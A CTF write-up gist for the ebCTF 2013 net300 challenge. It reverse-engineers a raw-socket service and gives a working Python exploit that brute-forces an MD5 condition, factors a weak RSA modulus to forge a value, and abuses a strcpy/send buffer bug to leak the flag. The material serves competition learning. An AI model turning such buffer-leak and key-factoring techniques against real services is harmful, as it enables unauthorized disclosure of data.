Skip to content

Instantly share code, notes, and snippets.

@comawill
Created June 2, 2013 01:28
Show Gist options
  • Save comawill/5692285 to your computer and use it in GitHub Desktop.
Save comawill/5692285 to your computer and use it in GitHub Desktop.

Writeup net300 (ebCTF teaser 2013)

by tsuro and comawill (Stratum 0 https://stratum0.org)

Step 1: Reverse engineering

Here is what the program does:

  • It opens an socket(AF_INET, SOCK_RAW, 0xfe)
  • and waits with an resvmsg for incoming packets
  • each packet will be 'parsed' (extracts source_addr of the packet and skips the remaining part)
  • expexts the first four bytes of the payload as length of payload - 4
  • now it gets interesting
  • the next 16 bytes have to be md5_1 = md5( (time()&0xFFFFFFE0) + source_addr + random_val)
  • random_val is generated once on startup by reading from /dev/random
  • if the condition is not given, it will send the expected md5 to source_addr
  • the next 4 bytes from the payload are saved into some_data
  • now the last two bytes of md5(md5_1 + some_data) have to be 0x0000
  • if the condition is not given, it will do nothing
  • the remainig bytes of the payload are converted by BN_hex2bn into an big integer (c).
  • the conversion method will stop converting if it reaches a non hex-char
  • the number has to meet the condition: pow(hex2int(c), e) % n == 0x31337
    • if it does not, "n, e" is sent to source_addr
  • if is correct it sends the flag to 10.x.x.x
  • if an "," is in the rest of payload (the part converted to c), it sends this part begining with the "," to source_addr
  • there is an useful bug in method used for sending (send(n,buffer, dest, socket)):
    • before sending, it uses strcpy(buffer, some_buffer_of_send)
    • send n bytes of some_buffer_of_send

Step2: use python

Concept:

  1. send empty payload
  2. receive expected md5
  3. bruteforce the 4 bytes for condition md5(md5_1 + some_data)[-2:] == '\x00\x00'
  4. recieve e and n
  • factorize n (it's a weak modulus) into p,q
  • invert e with (p-1)*(q-1) => d=e^-1
  • sign 0x31137 with d
  1. send complete expected data and append an "," followed by a few null bytes.
  • after sending the correct data, ping will send the flag to the wrong ip and thereby writes the flag to the local buffer of send
  • by invoking the second send, it only overwrites the first byte with the strcpy, but sends the number of bytes given by the length of the remaining part

The final payload should look like this

| 4 bytes | 16 bytes | 4 bytes        | x bytes         | y bytes      |
| len - 4 | md5      | additonal_data | encrypted_31337 | ,  nullbytes |

Code

#!/usr/bin/env python
import socket
from struct import pack
import hashlib
# https://github.com/pwnies/pwntools
import pwn.crypto.util as cr

def pck(val):
    return pack("<I", val)

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, 0xfe)

def send(st):
    s.sendto(pck(len(st)) + st, ("54.229.16.237",1234))

def bf_md5(md5):
    for i in xrange(2**32):
        val = hashlib.md5(md5+pck(i)).digest()
        if val[-2:] == "\x00\x00":
            return pck(i)
    raise Exception

send("")
buf, addr = s.recvfrom(1500)
md5 = buf[20:]
print md5.encode("hex")
val = bf_md5(md5)

send(md5+val)
buf, addr = s.recvfrom(1500)
buf = buf[20:]
print buf

n, e = buf.split(",")
n = int(n, 16)
e = int(e, 16)

p,q = cr.factor_fermat(n)
euler = (p - 1) * (q - 1)
d = cr.modinv(e, euler) % euler

cleartext = 0x31337
enc = pow(cleartext, d, n)

enc_str = ("%x," % enc ) + "\x00" * 300
send(md5 + val + enc_str, 0)

buf, addr = s.recvfrom(1500)
buf = buf[20:]
print buf
print "done"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment